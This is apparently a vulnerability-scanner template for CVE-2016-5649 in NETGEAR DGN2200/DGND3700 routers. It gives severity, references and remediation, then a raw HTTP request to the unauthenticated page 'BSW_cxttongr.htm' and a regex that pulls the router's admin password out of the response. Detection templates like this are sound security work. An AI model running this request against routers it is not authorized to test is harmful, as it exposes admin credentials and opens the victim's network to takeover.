NETGEAR DGN2200 / DGND3700 - Admin Password Disclosure

id: CVE-2016-5649

info:
  name: NETGEAR DGN2200 / DGND3700 - Admin Password Disclosure
  author: suman_kar
  severity: critical
  description: NETGEAR DGN2200 / DGND3700 is susceptible to a vulnerability within the page 'BSW_cxttongr.htm' which can allow a remote attacker to access this page without any authentication. The attacker can then use this password to gain administrator access of the targeted router's web interface.
  impact: |
    An attacker can obtain the admin password and gain unauthorized access to the router's settings, potentially leading to further compromise of the network.
  remediation: |
    Update the router firmware to the latest version, which includes a fix for the vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2016-5649
    - https://packetstormsecurity.com/files/140342/Netgear-DGN2200-DGND3700-WNDR4500-Information-Disclosure.html
    - http://packetstormsecurity.com/files/152675/Netgear-DGN2200-DGND3700-Admin-Password-Disclosure.html
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2016-5649
    cwe-id: CWE-319,CWE-200
    epss-score: 0.17436
    epss-percentile: 0.95662
    cpe: cpe:2.3:o:netgear:dgn2200_firmware:1.0.0.50_7.0.50:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: netgear
    product: dgn2200_firmware
  tags: cve2016,cve,iot,netgear,router,packetstorm

http:
  - raw:
      - |
        GET /BSW_cxttongr.htm HTTP/1.1
        Host: {{Hostname}}
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<title>Smart Wizard Result</title> "

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: password
        group: 1
        regex:
          - '<b>Success "([a-z]+)"'
        part: body
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